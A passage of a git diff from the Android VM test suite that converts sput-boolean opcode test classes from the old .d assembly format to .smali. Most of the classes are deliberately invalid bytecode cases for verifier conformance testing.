+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_17;->st_i1:Z
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.d
deleted file mode 100644
index 080e547..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.d
+++ /dev/null
@@ -1,37 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_18.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_18
-.super java/lang/Object
-
-.field public static st_i1 D
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 1
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_18.st_i1 D
-
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.smali
new file mode 100644
index 0000000..3eb4fa4
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_18.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_18.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_18;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:D
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 1
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_18;->st_i1:D
+
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.smali
new file mode 100644
index 0000000..57f974d2
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_19.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_19;
+.super Ljava/lang/Object;
+.source "T_sput_boolean_19.java"
+
+
+# static fields
+.field public static st_f1:F
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    const v1, 0x4048f5c3    # 3.14f
+
+    sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_19;->st_f1:F
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.d
deleted file mode 100644
index 9e6fe7f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_2.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_2
-.super java/lang/Object
-
-.field public static st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const-wide v0, 1
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_4.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.smali
new file mode 100644
index 0000000..5f63960
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_2.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_2.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_2;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const-wide v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.smali
new file mode 100644
index 0000000..d520adf
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_20.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_20;
+.super Ljava/lang/Object;
+.source "T_sput_boolean_20.java"
+
+
+# static fields
+.field public static st_o:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 4
+
+    const p0, 0x0
+
+    sput-boolean p0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_20;->st_o:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.d
deleted file mode 100644
index b1e5f5f..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_21.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_21
-.super java/lang/Object
-
-.field public static st_s S
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_21.st_s S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.smali
new file mode 100644
index 0000000..6a3bbd8
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_21.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_21.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_21;
+.super  Ljava/lang/Object;
+
+.field public static st_s:S
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_21;->st_s:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.d
deleted file mode 100644
index e13f364..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_22.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_22
-.super java/lang/Object
-
-.field public static st_i I
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_22.st_i I
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.smali
new file mode 100644
index 0000000..2988abe
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_22.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_22.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_22;
+.super  Ljava/lang/Object;
+
+.field public static st_i:I
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_22;->st_i:I
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.d
deleted file mode 100644
index 9a5ae68..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_23.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_23
-.super java/lang/Object
-
-.field public static st_c C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_23.st_c C
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.smali
new file mode 100644
index 0000000..69e0bb7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_23.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_23.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_23;
+.super  Ljava/lang/Object;
+
+.field public static st_c:C
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_23;->st_c:C
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.d
deleted file mode 100644
index 3fe5b45..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_24.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_24
-.super java/lang/Object
-
-.field public static st_b B
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 4
-       const v0, 1    
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_24.st_b B
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.smali
new file mode 100644
index 0000000..5280c5c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_24.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_24.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_24;
+.super  Ljava/lang/Object;
+
+.field public static st_b:B
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 4
+       const v0, 1    
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_24;->st_b:B
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.d
deleted file mode 100644
index 874c5f2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_3.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_3
-.super java/lang/Object
-
-.field public static st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v0, 1
-       sput-boolean v0, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_3.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.smali
new file mode 100644
index 0000000..8ece531
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_3.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_3.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_3;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v0, 1
+       sput-boolean v0, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_3;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.d
deleted file mode 100644
index d0a7422..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_4.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_4
-.super java/lang/Object
-
-.field public static st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sput-boolean v3, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_4.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.smali
new file mode 100644
index 0000000..03cf0c7
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_4.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_4;
+.super  Ljava/lang/Object;
+
+.field public static st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sput-boolean v3, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_4;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.d
deleted file mode 100644
index c6b97f0..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_7.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_7
-.super java/lang/Object
-
-.field public st_i1 Z
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.d.T_sput_boolean_7.st_i1 Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.smali
new file mode 100644
index 0000000..74ce45a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_7.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sput_boolean_7.java"
+.class  public Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_7;
+.super  Ljava/lang/Object;
+
+.field public st_i1:Z
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       const v1, 0
+       sput-boolean v1, Ldot/junit/opcodes/sput_boolean/d/T_sput_boolean_7;->st_i1:Z
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.d
deleted file mode 100644
index 4b781da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sput_boolean_8.java
-.class public dot.junit.opcodes.sput_boolean.d.T_sput_boolean_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       const v1, 0
-       sput-boolean v1, dot.junit.opcodes.sput_boolean.TestStubs.TestStubField Z
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.smali
new file mode 100644
index 0000000..f99cee5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sput_boolean/d/T_sput_boolean_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
